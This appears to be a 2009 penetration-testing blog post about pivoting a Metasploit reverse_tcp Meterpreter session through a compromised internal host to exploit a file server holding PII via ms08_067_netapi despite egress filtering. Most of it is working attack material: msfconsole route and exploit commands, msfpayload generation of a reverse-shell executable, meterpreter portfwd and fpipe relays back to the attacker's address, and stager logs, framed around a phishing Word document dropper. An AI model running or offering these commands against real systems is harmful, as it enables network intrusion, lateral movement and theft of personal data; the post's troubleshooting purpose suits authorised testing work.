In a penetration test your target is PII kept on a corporate file server which I will call Victim2. You are outside the firewall but have gained access to an internal host, Victim1, when a user opened your word document with an embeeded Meterpreter payload. The stager embedded in the word document made a REVERSE_TCP connection to your machine which uploaded metsrv.dll to the victim. The machine you have access to (Victim1) has unfiltered access to your target (Victim2). Victim2 is vulnerable to ms08_067_netapi. Victim2 however, has NO access to the internet at all. Were it not for the strict egress firewall rules controlling Victim2 you could have used the ROUTE command to pivot your attack through your meterpreter session on Victim1 to Victim2, and have Victim2 send you a shell directly like this...
Your IP = 192.168.1.1
Victim1 = 10.4.4.4
Victim2 = 10.5.5.5
Background session 1? [y/N] y
msf exploit(ms08_067_netapi) > route add 10.5.5.5 255.255.255.255 1
msf exploit(ms08_067_netapi) > route print
Active Routing Table
Subnet Netmask Gateway
------ ------- -------
10.5.5.5 255.255.255.255 Session 1
msf exploit(ms08_067_netapi) > sessions -l
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.1:80 -> 10.4.4.4:1034
msf exploit(ms08_067_netapi) > set RHOST 10.5.5.5
RHOST => 10.5.5.5
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.1
LHOST => 192.168.1.1
msf exploit(ms08_067_netapi) > exploit
And the session would be shoveled back to you from Victim2. BUT, this time, strong egress filters prevailed and you can't make that direct connection. So you decide to relay in back through Victim1 who does have access to the internet. How do you do that?
Here was my first thought. I'll use meterpreter's PORTFWD command on VICTIM1 to setup a TCP relay and back to me. Then I'll exploit Victim2 and set my LHOST to Victim1 (10.4.4.4) and my LPORT to the PORTFWD listener on Victim1. My attack will flow through my pivot and return to me via the PORTFWD on Victim1.
Guess what. You can't do that. LHOST and LPORT have to be a valid IP address on your host or the exploit wont even launch. Metasploit won't let your LHOST be the Victim1. Maybe I could do some CHOST,CPORT trickery (see the advanced options)? I couldn't make that work either.
OK so I can't launch an exploit. But I can make one!
./msfpayload windows/meterpreter/reverse_tcp LHOST=victim1 LPORT=portfwd listener X > custompayload.exe
Then I can use the Upload and Execute payloads to exploit victim2 and get my shell!!
Nope. That doesn't work either. Why? I think there is a bug in PORTFWD.
When you run portfwd and don't provide the OPTIONAL -L ip address it appears to work. You get something like this..
meterpreter > portfwd add -l 6666 -r 192.168.1.1 -p 80
[*] Local TCP relay created: 0.0.0.0:6666 <-> 192.168.1.1:80
But nothing is listening on port 6666. A quick "execute -c -f cmd.exe; interact 1; netstat -na" shows nothing listening on the port. An NMAP of the host confirms no listener...
Macintosh:~ mark.baggett$ nmap 10.4.4.4 -p 6666
Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-03 22:47 EST
Interesting ports on 10.4.4.4:
PORT STATE SERVICE
6666/tcp closed irc
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
If I try to force the matter with a -L I get a nasty "Cant assign requested address" message.
meterpreter > portfwd add -L 10.4.4.4 -l 6666 -r 192.168.1.1 -p 80
[-] Error running command portfwd: Can't assign requested address - bind(2) /Applications/framework3/lib/rex/socket/comm/local.rb:138:in `bind'/Applications/framework3/lib/rex/socket/comm/local.rb:138:in `create_by_type'/Applications/framework3/lib/rex/socket/comm/local.rb:26:in `create'/Applications/framework3/lib/rex/socket.rb:45:in `create_param'/Applications/framework3/lib/rex/socket.rb:52:in `create_tcp'/Applications/framework3/lib/rex/socket.rb:59:in `create_tcp_server'/Applications/framework3/lib/rex/services/local_relay.rb:184:in `start_tcp_relay'/Applications/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb:219:in `cmd_portfwd'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `call'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `run'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'/Applications/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'/Applications/framework3/lib/rex/ui/interactive.rb:48:in `interact'/Applications/framework3/lib/msf/ui/console/command_dispatcher/core.rb:918:in `cmd_sessions'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82
meterpreter > ipconfig
Parallels OEM Adapter.
Hardware MAC: 00:1c:42:99:40:22
IP Address : 10.4.4.4
Netmask : 255.255.255.0
OK. So maybe there is a bug in portfwd. I punt and I use a different external TCP relay program. I upload and execute FPIPE.EXE and use it on Victim1 to relay the session from Victim2 back to My IP.
fpipe.exe -i 10.4.4.4 -l 5555 -r 80 192.168.1.1
[*] Handler binding to LHOST 192.168.1.1
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
And thats it! Its all good with one VERY IMPORTANT exception. I never get
[*] Meterpreter session 2 opened.
So FAIL, FAIL FAIL. I was unable to pivot a reverse_tcp meterpreter session. I can reach my goal by using the Meterpreter session on Victim1 to access the file server on Victim2 with SMB ports, but thats not very sexy. Ed Skoudis gender bender netcat relays are a good option, but I want to do it with just metasploit. So what is the right way to do this? Do you know? Add a comment!